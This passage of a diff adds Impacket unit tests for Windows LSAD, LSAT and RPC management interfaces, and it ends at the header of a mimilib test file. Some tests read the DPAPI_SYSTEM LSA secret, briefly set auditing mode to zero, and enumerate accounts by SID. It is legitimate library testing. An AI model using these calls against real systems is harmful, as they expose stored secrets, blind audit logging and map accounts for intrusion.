+        request['PolicyHandle'] = policyHandle
+        request['SecretName'] = 'DPAPI_SYSTEM'
+        request['DesiredAccess'] = MAXIMUM_ALLOWED
+        resp0 = dce.request(request)
+        resp0.dump()
+
+        request = lsad.LsarQuerySecret()
+        request['SecretHandle'] = resp0['SecretHandle']
+        request['EncryptedCurrentValue']['Buffer'] = NULL
+        request['EncryptedOldValue']['Buffer'] = NULL
+        request['OldValueSetTime'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hLsarQuerySecret(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        resp0 = lsad.hLsarOpenSecret(dce, policyHandle, 'DPAPI_SYSTEM')
+        resp0.dump()
+
+        resp = lsad.hLsarQuerySecret(dce, resp0['SecretHandle'])
+        resp.dump()
+
+    def test_LsarRetrievePrivateData_LsarStorePrivateData(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        request = lsad.LsarRetrievePrivateData()
+        request['PolicyHandle'] = policyHandle
+        request['KeyName'] = 'DPAPI_SYSTEM'
+        resp0 = dce.request(request)
+        resp0.dump()
+
+        request = lsad.LsarStorePrivateData()
+        request['PolicyHandle'] = policyHandle
+        request['KeyName'] = 'BETUS'
+        request['EncryptedData'] = resp0['EncryptedData']
+        resp = dce.request(request)
+        resp.dump()
+
+        request = lsad.LsarStorePrivateData()
+        request['PolicyHandle'] = policyHandle
+        request['KeyName'] = 'BETUS'
+        request['EncryptedData'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hLsarRetrievePrivateData_hLsarStorePrivateData(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        resp0 = lsad.hLsarRetrievePrivateData(dce,policyHandle, 'DPAPI_SYSTEM')
+        #hexdump(resp0)
+
+        resp = lsad.hLsarStorePrivateData(dce, policyHandle, 'BETUS', resp0)
+        resp.dump()
+
+        resp = lsad.hLsarStorePrivateData(dce, policyHandle, 'BETUS', NULL)
+        resp.dump()
+
+    def test_LsarEnumeratePrivileges(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        request = lsad.LsarEnumeratePrivileges()
+        request['PolicyHandle'] = policyHandle
+        request['EnumerationContext'] = 0
+        request['PreferedMaximumLength'] = 0xffffffff
+        resp = dce.request(request)
+        resp.dump()
+
+        self.assertEqual(resp['EnumerationBuffer']['Entries'], len(resp['EnumerationBuffer']['Privileges']))
+
+    def test_hLsarEnumeratePrivileges(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        resp = lsad.hLsarEnumeratePrivileges(dce, policyHandle)
+        resp.dump()
+
+        self.assertEqual(resp['EnumerationBuffer']['Entries'], len(resp['EnumerationBuffer']['Privileges']))
+
+    def test_LsarLookupPrivilegeValue_LsarLookupPrivilegeName(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        request = lsad.LsarLookupPrivilegeValue()
+        request['PolicyHandle'] = policyHandle
+        request['Name'] = 'SeTimeZonePrivilege'
+        resp = dce.request(request)
+        resp.dump()
+
+        request = lsad.LsarLookupPrivilegeName()
+        request['PolicyHandle'] = policyHandle
+        request['Value'] = resp['Value']
+        resp = dce.request(request)
+        resp.dump()
+
+        self.assertEqual(resp['Name'], 'SeTimeZonePrivilege')
+
+    def test_hLsarLookupPrivilegeValue_hLsarLookupPrivilegeName(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        resp = lsad.hLsarLookupPrivilegeValue(dce, policyHandle,'SeTimeZonePrivilege' )
+        resp.dump()
+
+        resp = lsad.hLsarLookupPrivilegeName(dce, policyHandle, resp['Value'])
+        resp.dump()
+
+        self.assertEqual(resp['Name'], 'SeTimeZonePrivilege')
+
+    def test_LsarLookupPrivilegeDisplayName(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        request = lsad.LsarLookupPrivilegeDisplayName()
+        request['PolicyHandle'] = policyHandle
+        request['Name'] = 'SeTimeZonePrivilege'
+        request['ClientLanguage'] = 1
+        request['ClientSystemDefaultLanguage'] = 1
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_LsarQuerySecurityObject_LsarSetSecurityObject(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        request = lsad.LsarQuerySecurityObject()
+        request['PolicyHandle'] = policyHandle
+        request['SecurityInformation'] = lsad.OWNER_SECURITY_INFORMATION
+        resp = dce.request(request)
+        resp.dump()
+
+        self.assertEqual(resp['SecurityDescriptor']['Length'], len(resp['SecurityDescriptor']['SecurityDescriptor']))
+
+        request = lsad.LsarSetSecurityObject()
+        request['PolicyHandle'] = policyHandle
+        request['SecurityInformation'] = lsad.OWNER_SECURITY_INFORMATION
+        request['SecurityDescriptor'] = resp['SecurityDescriptor']
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hLsarQuerySecurityObject_hLsarSetSecurityObject(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        resp = lsad.hLsarQuerySecurityObject(dce, policyHandle, lsad.OWNER_SECURITY_INFORMATION)
+        hexdump(resp)
+
+        resp = lsad.hLsarSetSecurityObject(dce, policyHandle, lsad.OWNER_SECURITY_INFORMATION,resp)
+        resp.dump()
+
+    def test_LsarQueryForestTrustInformation(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        request = lsad.LsarQueryForestTrustInformation()
+        request['PolicyHandle'] = policyHandle
+        request['TrustedDomainName'] = 'CORE'
+        request['HighestRecordType'] = lsad.LSA_FOREST_TRUST_RECORD_TYPE.ForestTrustTopLevelName
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except Exception as e:
+            if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:
+                raise
+
+    def test_LsarSetInformationPolicy2(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        request = lsad.LsarQueryInformationPolicy2()
+        request['PolicyHandle'] = policyHandle
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation
+        resp = dce.request(request)
+        resp.dump()
+        oldValue = resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode']
+
+        req = lsad.LsarSetInformationPolicy2()
+        req['PolicyHandle'] = policyHandle
+        req['InformationClass'] = request['InformationClass']
+        req['PolicyInformation'] = resp['PolicyInformation']
+        req['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = 0
+        resp2 = dce.request(req)
+        resp2.dump()
+
+        resp = dce.request(request)
+        resp.dump()
+
+        req['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = oldValue
+        resp2 = dce.request(req)
+        resp2.dump()
+        ################################################################################ 
+
+        #request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation
+        #resp = dce.request(request)
+        #resp.dump()
+        #oldValue = resp['PolicyInformation']['PolicyPrimaryDomainInfo']['Name']
+
+        #req = lsad.LsarSetInformationPolicy2()
+        #req['PolicyHandle'] = policyHandle
+        #req['InformationClass'] = request['InformationClass']
+        #req['PolicyInformation'] = resp['PolicyInformation']
+        #req['PolicyInformation']['PolicyPrimaryDomainInfo']['Name'] = 'BETUS'
+        #resp2 = dce.request(req)
+        #resp2.dump()
+
+        #resp = dce.request(request)
+        #resp.dump()
+
+        #self.assertEqual('BETUS', resp['PolicyInformation']['PolicyPrimaryDomainInfo']['Name'])
+
+        #req['PolicyInformation']['PolicyPrimaryDomainInfo']['Name'] = oldValue
+        #resp2 = dce.request(req)
+        #resp2.dump()
+
+        ################################################################################ 
+
+        #request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation
+        #resp = dce.request(request)
+        #resp.dump()
+        #oldValue = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainName']
+
+        #req = lsad.LsarSetInformationPolicy2()
+        #req['PolicyHandle'] = policyHandle
+        #req['InformationClass'] = request['InformationClass']
+        #req['PolicyInformation'] = resp['PolicyInformation']
+        #req['PolicyInformation']['PolicyAccountDomainInfo']['DomainName'] = 'BETUS'
+        #resp2 = dce.request(req)
+        #resp2.dump()
+
+        #resp = dce.request(request)
+        #resp.dump()
+
+        #self.assertEqual('BETUS', resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainName'])
+
+        #req['PolicyInformation']['PolicyAccountDomainInfo']['DomainName'] = oldValue
+        #resp2 = dce.request(req)
+        #resp2.dump()
+
+        ################################################################################ 
+
+        # ToDo rest of the Information Classes
+
+    def test_hLsarSetInformationPolicy2(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation)
+        resp.dump()
+        oldValue = resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode']
+
+        resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = 0
+        resp2 = lsad.hLsarSetInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation, resp['PolicyInformation'] )
+        resp2.dump()
+
+        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation)
+        resp.dump()
+
+        resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = oldValue
+        resp2 = lsad.hLsarSetInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation, resp['PolicyInformation'] )
+        resp2.dump()
+
+    def test_LsarSetInformationPolicy(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        request = lsad.LsarQueryInformationPolicy()
+        request['PolicyHandle'] = policyHandle
+        request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation
+        resp = dce.request(request)
+        resp.dump()
+        oldValue = resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode']
+
+        req = lsad.LsarSetInformationPolicy()
+        req['PolicyHandle'] = policyHandle
+        req['InformationClass'] = request['InformationClass']
+        req['PolicyInformation'] = resp['PolicyInformation']
+        req['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = 0
+        resp2 = dce.request(req)
+        resp2.dump()
+
+        resp = dce.request(request)
+        resp.dump()
+
+        req['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = oldValue
+        resp2 = dce.request(req)
+        resp2.dump()
+        ################################################################################ 
+
+        #request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation
+        #resp = dce.request(request)
+        #resp.dump()
+        #oldValue = resp['PolicyInformation']['PolicyPrimaryDomainInfo']['Name']
+
+        #req = lsad.LsarSetInformationPolicy()
+        #req['PolicyHandle'] = policyHandle
+        #req['InformationClass'] = request['InformationClass']
+        #req['PolicyInformation'] = resp['PolicyInformation']
+        #req['PolicyInformation']['PolicyPrimaryDomainInfo']['Name'] = 'BETUS'
+        #resp2 = dce.request(req)
+        #resp2.dump()
+
+        #resp = dce.request(request)
+        #resp.dump()
+        #self.assertEqual('BETUS', resp['PolicyInformation']['PolicyPrimaryDomainInfo']['Name'])
+
+        #req['PolicyInformation']['PolicyPrimaryDomainInfo']['Name'] = oldValue
+        #resp2 = dce.request(req)
+        #resp2.dump()
+
+        ################################################################################ 
+
+        #request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation
+        #resp = dce.request(request)
+        #resp.dump()
+        #oldValue = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainName']
+
+        #req = lsad.LsarSetInformationPolicy()
+        #req['PolicyHandle'] = policyHandle
+        #req['InformationClass'] = request['InformationClass']
+        #req['PolicyInformation'] = resp['PolicyInformation']
+        #req['PolicyInformation']['PolicyAccountDomainInfo']['DomainName'] = 'BETUS'
+        #resp2 = dce.request(req)
+        #resp2.dump()
+
+        #resp = dce.request(request)
+        #resp.dump()
+
+        #self.assertEqual('BETUS', resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainName'])
+
+        #req['PolicyInformation']['PolicyAccountDomainInfo']['DomainName'] = oldValue
+        #resp2 = dce.request(req)
+        #resp2.dump()
+
+        ################################################################################ 
+
+        # ToDo rest of the Information Classes
+
+    def test_hLsarSetInformationPolicy(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+        resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation)
+        resp.dump()
+        oldValue = resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode']
+
+        resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = 0
+        resp2 = lsad.hLsarSetInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation, resp['PolicyInformation'] )
+        resp2.dump()
+
+        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation)
+        resp.dump()
+
+        resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = oldValue
+        resp2 = lsad.hLsarSetInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation, resp['PolicyInformation'] )
+        resp2.dump()
+
+
+@pytest.mark.remote
+class LSADTestsSMBTransport(LSADTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+
+
+@pytest.mark.remote
+class LSADTestsSMBTransport64(LSADTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+
+
+# Process command-line arguments.
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/dcerpc/test_lsat.py b/tests/dcerpc/test_lsat.py
new file mode 100644
index 0000000..6f72fa1
--- /dev/null
+++ b/tests/dcerpc/test_lsat.py
@@ -0,0 +1,315 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tested so far:
+#   (h)LsarGetUserName
+#   (h)LsarLookupNames
+#   (h)LsarLookupNames2
+#   (h)LsarLookupNames3
+#   (h)LsarLookupNames4
+#   (h)LsarLookupSids
+#   (h)LsarLookupSids2
+#   LsarLookupSids3
+#
+from __future__ import division
+from __future__ import print_function
+import pytest
+import unittest
+from six import assertRaisesRegex
+from tests.dcerpc import DCERPCTests
+
+from impacket.dcerpc.v5 import lsat, lsad
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
+
+
+class LSATTests(DCERPCTests):
+    iface_uuid = lsat.MSRPC_UUID_LSAT
+    string_binding = r"ncacn_np:{0.machine}[\PIPE\lsarpc]"
+    authn = True
+
+    def open_policy(self, dce):
+        request = lsad.LsarOpenPolicy2()
+        request['SystemName'] = NULL
+        request['ObjectAttributes']['RootDirectory'] = NULL
+        request['ObjectAttributes']['ObjectName'] = NULL
+        request['ObjectAttributes']['SecurityDescriptor'] = NULL
+        request['ObjectAttributes']['SecurityQualityOfService'] = NULL
+        request['DesiredAccess'] = MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES
+        resp = dce.request(request)
+        return resp['PolicyHandle']
+
+    def test_LsarGetUserName(self):
+        dce, rpctransport = self.connect()
+        request = lsat.LsarGetUserName()
+        request['SystemName'] = NULL
+        request['UserName'] = NULL
+        request['DomainName'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hLsarGetUserName(self):
+        dce, rpctransport = self.connect()
+        resp = lsat.hLsarGetUserName(dce)
+        resp.dump()
+
+    def test_LsarLookupNames4(self):
+        dce, rpctransport = self.connect()
+
+        request = lsat.LsarLookupNames4()
+        request['Count'] = 2
+        name1 = RPC_UNICODE_STRING()
+        name1['Data'] = 'Administrator'
+        name2 = RPC_UNICODE_STRING()
+        name2['Data'] = 'Guest'
+        request['Names'].append(name1)
+        request['Names'].append(name2)
+        request['TranslatedSids']['Sids'] = NULL
+        request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
+        request['LookupOptions'] = 0x00000000
+        request['ClientRevision'] = 0x00000001
+
+        # The RPC server MUST ensure that the RPC_C_AUTHN_NETLOGON security provider
+        # (as specified in [MS-RPCE] section 2.2.1.1.7) and at least
+        # RPC_C_AUTHN_LEVEL_PKT_INTEGRITY authentication level (as specified in
+        # [MS-RPCE] section 2.2.1.1.8) are used in this RPC message.
+        # Otherwise, the RPC server MUST return STATUS_ACCESS_DENIED.
+        with assertRaisesRegex(self, DCERPCException, 'rpc_s_access_denied'):
+            dce.request(request)
+
+    def test_hLsarLookupNames4(self):
+        # not working, I need netlogon here
+        dce, rpctransport = self.connect()
+
+        # The RPC server MUST ensure that the RPC_C_AUTHN_NETLOGON security provider
+        # (as specified in [MS-RPCE] section 2.2.1.1.7) and at least
+        # RPC_C_AUTHN_LEVEL_PKT_INTEGRITY authentication level (as specified in
+        # [MS-RPCE] section 2.2.1.1.8) are used in this RPC message.
+        # Otherwise, the RPC server MUST return STATUS_ACCESS_DENIED.
+        with assertRaisesRegex(self, DCERPCException, 'rpc_s_access_denied'):
+            lsat.hLsarLookupNames4(dce, ('Administrator', 'Guest'))
+
+    def test_LsarLookupNames3(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        request = lsat.LsarLookupNames3()
+        request['PolicyHandle'] = policyHandle
+        request['Count'] = 2
+        name1 = RPC_UNICODE_STRING()
+        name1['Data'] = 'Administrator'
+        name2 = RPC_UNICODE_STRING()
+        name2['Data'] = 'Guest'
+        request['Names'].append(name1)
+        request['Names'].append(name2)
+        request['TranslatedSids']['Sids'] = NULL
+        request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
+        request['LookupOptions'] = 0x00000000
+        request['ClientRevision'] = 0x00000001
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hLsarLookupNames3(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        resp = lsat.hLsarLookupNames3(dce, policyHandle, ('Administrator', 'Guest'))
+        resp.dump()
+
+    def test_LsarLookupNames2(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        request = lsat.LsarLookupNames2()
+        request['PolicyHandle'] = policyHandle
+        request['Count'] = 2
+        name1 = RPC_UNICODE_STRING()
+        name1['Data'] = 'Administrator'
+        name2 = RPC_UNICODE_STRING()
+        name2['Data'] = 'Guest'
+        request['Names'].append(name1)
+        request['Names'].append(name2)
+        request['TranslatedSids']['Sids'] = NULL
+        request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
+        request['LookupOptions'] = 0x00000000
+        request['ClientRevision'] = 0x00000001
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hLsarLookupNames2(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        resp = lsat.hLsarLookupNames2(dce, policyHandle, ('Administrator', 'Guest'))
+        resp.dump()
+
+    def test_hLsarLookupNames(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        resp = lsat.hLsarLookupNames(dce, policyHandle, ('Administrator', 'Guest'))
+        resp.dump()
+
+    def test_LsarLookupNames(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        request = lsat.LsarLookupNames()
+        request['PolicyHandle'] = policyHandle
+        request['Count'] = 2
+        name1 = RPC_UNICODE_STRING()
+        name1['Data'] = 'Administrator'
+        name2 = RPC_UNICODE_STRING()
+        name2['Data'] = 'Guest'
+        request['Names'].append(name1)
+        request['Names'].append(name2)
+        request['TranslatedSids']['Sids'] = NULL
+        request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_LsarLookupSids3(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        request = lsat.LsarLookupNames()
+        request['PolicyHandle'] = policyHandle
+        request['Count'] = 1
+        name1 = RPC_UNICODE_STRING()
+        name1['Data'] = 'Administrator'
+        request['Names'].append(name1)
+        request['TranslatedSids']['Sids'] = NULL
+        request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
+        resp = dce.request(request)
+        resp.dump()
+        domainSid = resp['ReferencedDomains']['Domains'][0]['Sid'].formatCanonical()
+
+        request = lsat.LsarLookupSids3()
+        sid1 = lsat.LSAPR_SID_INFORMATION()
+        sid1['Sid'].fromCanonical(domainSid + '-500')
+        sid2= lsat.LSAPR_SID_INFORMATION()
+        sid2['Sid'].fromCanonical(domainSid + '-501')
+        request['SidEnumBuffer']['Entries'] = 2
+        request['SidEnumBuffer']['SidInfo'].append(sid1)
+        request['SidEnumBuffer']['SidInfo'].append(sid2)
+        request['TranslatedNames']['Names'] = NULL
+        request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
+        request['LookupOptions'] = 0x00000000
+        request['ClientRevision'] = 0x00000001
+
+        # The RPC server MUST ensure that the RPC_C_AUTHN_NETLOGON security provider
+        # (as specified in [MS-RPCE] section 2.2.1.1.7) and at least
+        # RPC_C_AUTHN_LEVEL_PKT_INTEGRITY authentication level (as specified in
+        # [MS-RPCE] section 2.2.1.1.8) are used in this RPC message.
+        # Otherwise, the RPC server MUST return STATUS_ACCESS_DENIED.
+        with assertRaisesRegex(self, DCERPCException, 'rpc_s_access_denied'):
+            dce.request(request)
+
+    def test_LsarLookupSids2(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        request = lsat.LsarLookupNames()
+        request['PolicyHandle'] = policyHandle
+        request['Count'] = 1
+        name1 = RPC_UNICODE_STRING()
+        name1['Data'] = 'Administrator'
+        request['Names'].append(name1)
+        request['TranslatedSids']['Sids'] = NULL
+        request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
+        resp = dce.request(request)
+        resp.dump()
+        domainSid = resp['ReferencedDomains']['Domains'][0]['Sid'].formatCanonical()
+
+        request = lsat.LsarLookupSids2()
+        request['PolicyHandle'] = policyHandle
+        sid1 = lsat.LSAPR_SID_INFORMATION()
+        sid1['Sid'].fromCanonical(domainSid + '-500')
+        sid2= lsat.LSAPR_SID_INFORMATION()
+        sid2['Sid'].fromCanonical(domainSid + '-501')
+        request['SidEnumBuffer']['Entries'] = 2
+        request['SidEnumBuffer']['SidInfo'].append(sid1)
+        request['SidEnumBuffer']['SidInfo'].append(sid2)
+        request['TranslatedNames']['Names'] = NULL
+        request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
+        request['LookupOptions'] = 0x00000000
+        request['ClientRevision'] = 0x00000001
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hLsarLookupSids2(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        resp = lsat.hLsarLookupNames(dce, policyHandle, ('Administrator',))
+        resp.dump()
+        domainSid = resp['ReferencedDomains']['Domains'][0]['Sid'].formatCanonical()
+        sids = list()
+        sids.append(domainSid + '-500')
+        sids.append(domainSid + '-501')
+        resp = lsat.hLsarLookupSids2(dce, policyHandle, sids)
+        resp.dump()
+
+    def test_LsarLookupSids(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        request = lsat.LsarLookupNames()
+        request['PolicyHandle'] = policyHandle
+        request['Count'] = 1
+        name1 = RPC_UNICODE_STRING()
+        name1['Data'] = 'Administrator'
+        request['Names'].append(name1)
+        request['TranslatedSids']['Sids'] = NULL
+        request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
+        resp = dce.request(request)
+        resp.dump()
+        domainSid = resp['ReferencedDomains']['Domains'][0]['Sid'].formatCanonical()
+
+        request = lsat.LsarLookupSids()
+        request['PolicyHandle'] = policyHandle
+        for i in range(1000):
+            sid = lsat.LSAPR_SID_INFORMATION()
+            sid['Sid'].fromCanonical(domainSid + '-%d' % (500+i))
+            request['SidEnumBuffer']['SidInfo'].append(sid)
+            request['SidEnumBuffer']['Entries'] += 1
+        request['TranslatedNames']['Names'] = NULL
+        request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
+
+        with assertRaisesRegex(self, DCERPCException, 'STATUS_SOME_NOT_MAPPED'):
+            dce.request(request)
+
+    def test_hLsarLookupSids(self):
+        dce, rpctransport = self.connect()
+        policyHandle = self.open_policy(dce)
+
+        resp = lsat.hLsarLookupNames(dce, policyHandle, ('Administrator',))
+        resp.dump()
+        domainSid = resp['ReferencedDomains']['Domains'][0]['Sid'].formatCanonical()
+
+        sids = list()
+        for i in range(1000):
+            sids.append(domainSid + '-%d' % (500+i))
+
+        with assertRaisesRegex(self, DCERPCException, 'STATUS_SOME_NOT_MAPPED'):
+            lsat.hLsarLookupSids(dce, policyHandle, sids)
+
+
+@pytest.mark.remote
+class LSATTestsSMBTransport(LSATTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+
+
+@pytest.mark.remote
+class LSATTestsSMBTransport64(LSATTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+
+
+# Process command-line arguments.
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/dcerpc/test_mgmt.py b/tests/dcerpc/test_mgmt.py
new file mode 100644
index 0000000..50b904d
--- /dev/null
+++ b/tests/dcerpc/test_mgmt.py
@@ -0,0 +1,128 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tested so far:
+#   (h)inq_if_ids
+#   (h)inq_stats
+#   (h)is_server_listening
+#   (h)stop_server_listening
+#   (h)inq_princ_name
+#
+from __future__ import division
+from __future__ import print_function
+import pytest
+import unittest
+from six import assertRaisesRegex
+from tests.dcerpc import DCERPCTests
+
+from impacket.dcerpc.v5 import mgmt
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+
+
+class MGMTTests(DCERPCTests):
+    iface_uuid = mgmt.MSRPC_UUID_MGMT
+    string_binding = r"ncacn_np:{0.machine}[\pipe\epmapper]"
+    authn = True
+
+    def test_inq_if_ids(self):
+        dce, transport = self.connect()
+
+        request = mgmt.inq_if_ids()
+        resp = dce.request(request)
+        resp.dump()
+        #for i in range(resp['if_id_vector']['count']):
+        #    print bin_to_uuidtup(resp['if_id_vector']['if_id'][i]['Data'].getData())
+        #    print
+
+    def test_hinq_if_ids(self):
+        dce, transport = self.connect()
+
+        resp = mgmt.hinq_if_ids(dce)
+        resp.dump()
+
+    def test_inq_stats(self):
+        dce, transport = self.connect()
+
+        request = mgmt.inq_stats()
+        request['count'] = 40
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hinq_stats(self):
+        dce, transport = self.connect()
+
+        resp = mgmt.hinq_stats(dce)
+        resp.dump()
+
+    def test_is_server_listening(self):
+        dce, transport = self.connect()
+
+        request = mgmt.is_server_listening()
+        resp = dce.request(request, checkError=False)
+        resp.dump()
+
+    def test_his_server_listening(self):
+        dce, transport = self.connect()
+
+        resp = mgmt.his_server_listening(dce)
+        resp.dump()
+
+    def test_stop_server_listening(self):
+        dce, transport = self.connect()
+
+        request = mgmt.stop_server_listening()
+        with assertRaisesRegex(self, DCERPCException, "rpc_s_access_denied"):
+            dce.request(request)
+
+    def test_hstop_server_listening(self):
+        dce, transport = self.connect()
+
+        with assertRaisesRegex(self, DCERPCException, "rpc_s_access_denied"):
+            mgmt.hstop_server_listening(dce)
+
+    def test_inq_princ_name(self):
+        dce, transport = self.connect()
+
+        request = mgmt.inq_princ_name()
+        request['authn_proto'] = 0
+        request['princ_name_size'] = 32
+        resp = dce.request(request, checkError=False)
+        resp.dump()
+
+    def test_hinq_princ_name(self):
+        dce, transport = self.connect()
+
+        resp = mgmt.hinq_princ_name(dce)
+        resp.dump()
+
+
+@pytest.mark.remote
+class MGMTTestsSMBTransport(MGMTTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+
+
+@pytest.mark.remote
+class MGMTTestsSMBTransport64(MGMTTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+
+
+@pytest.mark.remote
+class MGMTTestsTCPTransport(MGMTTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+    string_binding = r"ncacn_ip_tcp:{0.machine}[135]"
+
+
+@pytest.mark.remote
+class MGMTTestsTCPTransport64(MGMTTests, unittest.TestCase):
+    string_binding = r"ncacn_ip_tcp:{0.machine}[135]"
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+
+
+# Process command-line arguments.
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/dcerpc/test_mimilib.py b/tests/dcerpc/test_mimilib.py
new file mode 100644
index 0000000..e7eab7d
--- /dev/null
+++ b/tests/dcerpc/test_mimilib.py
@@ -0,0 +1,147 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
